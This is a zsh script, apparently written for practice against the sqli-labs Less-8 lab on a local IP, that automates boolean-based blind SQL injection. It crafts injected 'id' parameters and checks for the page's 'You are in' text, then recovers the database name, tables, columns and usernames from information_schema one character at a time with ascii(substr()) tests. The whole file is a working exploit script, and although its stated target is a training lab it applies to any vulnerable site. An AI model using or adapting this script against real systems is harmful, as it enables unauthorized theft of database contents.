#!/usr/bin/zsh

flag="You are in..........."
charset=({a..z} {0..9})
numset=({1..20})

cond=
len=1
lens=()

get_url () {
  # cond is string (func name)
  local cc=$(sed "s/@i@/$i/; s/@lim@/$lim/; s/@c@/$c/; s/@db@/$db/; s/@tbl@/$tbl/; s/@col@/$col/; s/\ /%20/g" <<< $cond)
  <<< "http://192.168.3.115/sqli-labs/Less-8/?id=1%27and%20if($cc,1,0)%23"
  a="a=$a"
}

db_length=0
db=
tbl=
col=

amount=0

declare -A table
# arrVar+=("Dish Washer")

# 01. get_length()

get_length() {
  # $1 is 传入的是 函数
  local l=0

  for i in {1..15} 
  do
    # echo $1
    local url=$(get_url)
    # status 0 表示正常退出
    curl -s "${url}" | grep -q "$flag"
    if [ $? -eq 0 ];then
      l=$i
      break
    fi 
  done
  echo $l
}

# 设置好 url，a：cond 自动获取
get_lengths() {
  # read amount
  local l
  lens=()
  for lim in {0..$(( $amount-1 ))}
  do
    lens+=($(get_length))
    # echo $(get_length)
  done
  <<< $lens
}

get_name() {
  # len: global
  # read line
  # echo $line
  # len=${line:-len}
  # echo $len
  local name=""

  for i in {1..$len} 
  do
    for c in {97..122}
    do
      local url=$(get_url)
      # status 0 表示正常退出
      # echo $url
      curl -s "${url}" | grep -q "$flag"
      if [ $? -eq 0 ];then
        name="$name"`echo $c | awk '{printf("%c", $1)}'`
        # echo $c | awk '{printf("%c", $1)}'
        # printf "\x`printf "%x" $c`"
        break
      fi
    done
  done
  echo $name
}

lens_2_names() {
  local names=()
  for lim in {1..$amount}
  do
    len=$lens[$lim]
    let lim-=1
    names+=$(get_name)
  done

  <<< $names
}

# 1 db

# 1.1 db length
cond="length(database())=@i@"
len=$(get_length);
echo "db length: $len"

# 1.2 db name
cond="ascii(substr(database(),@i@,1))=@c@"
db=$(get_name);
echo "db is: ${db}"

# 2 table

# 2.1 amount
cond="(select count(*)table_name from information_schema.tables where table_schema='security')=@i@"
amount=$(get_length)
echo "amount" $amount

# 2.2 lengths
cond="(select length(table_name) from information_schema.tables where table_schema='security' limit @lim@,1)=@i@"
lens=($(get_lengths)) && echo "lens: $lens"

# 2.3 names
cond="ascii(substr((select table_name from information_schema.tables where table_schema='security' limit @lim@,1),@i@,1))=@c@"
tables=($(lens_2_names));
echo "tables: $tables"

# 3 colmns

cond="(select count(*)column_name from information_schema.columns where table_schema='security'and table_name='users')=@i@"
amount=$(get_length)
echo amount: $amount

cond="(select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit @lim@,1)=@i@"
lens=($(get_lengths))
echo "lens $lens"

cond="ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit @lim@,1),@i@,1))=@c@"
col_names=($(lens_2_names))
echo $col_names

# 4. data

cond="(select count(username) from users)=@i@"
amount=$(get_length)
echo amount: $amount

cond="(select length(username) from users limit @lim@,1)=@i@"
lens=($(get_lengths))
echo lens: $lens

cond="ascii(substr((select username from users limit @lim@,1),@i@,1))=@c@"
datas=($(lens_2_names))
echo datas: $datas

db=security
tbl=users
col=id
cond="(select count(@col@) from @tbl@)=@i@"
amount=$(get_length)

cond="(select length(@col@) from @tbl@ limit @lim@,1)=@i@"
lens=($(get_lengths))

cond="ascii(substr((select @col@ from @tbl@ limit @lim@,1),@i@,1))=@c@"
lens_2_names | echo


echo "###################"

db=security
tbl=emails
cond="(select count(@col@) from @tbl@)=@i@"
amount=$(get_length)

cond="(select length(@col@) from @tbl@ limit @lim@,1)=@i@"
lens=($(get_lengths))

#cond="ascii(substr((select @col@ from @tbl@ limit @lim@,1),@i@,1))=@c@"
 #lens_2_names | echo
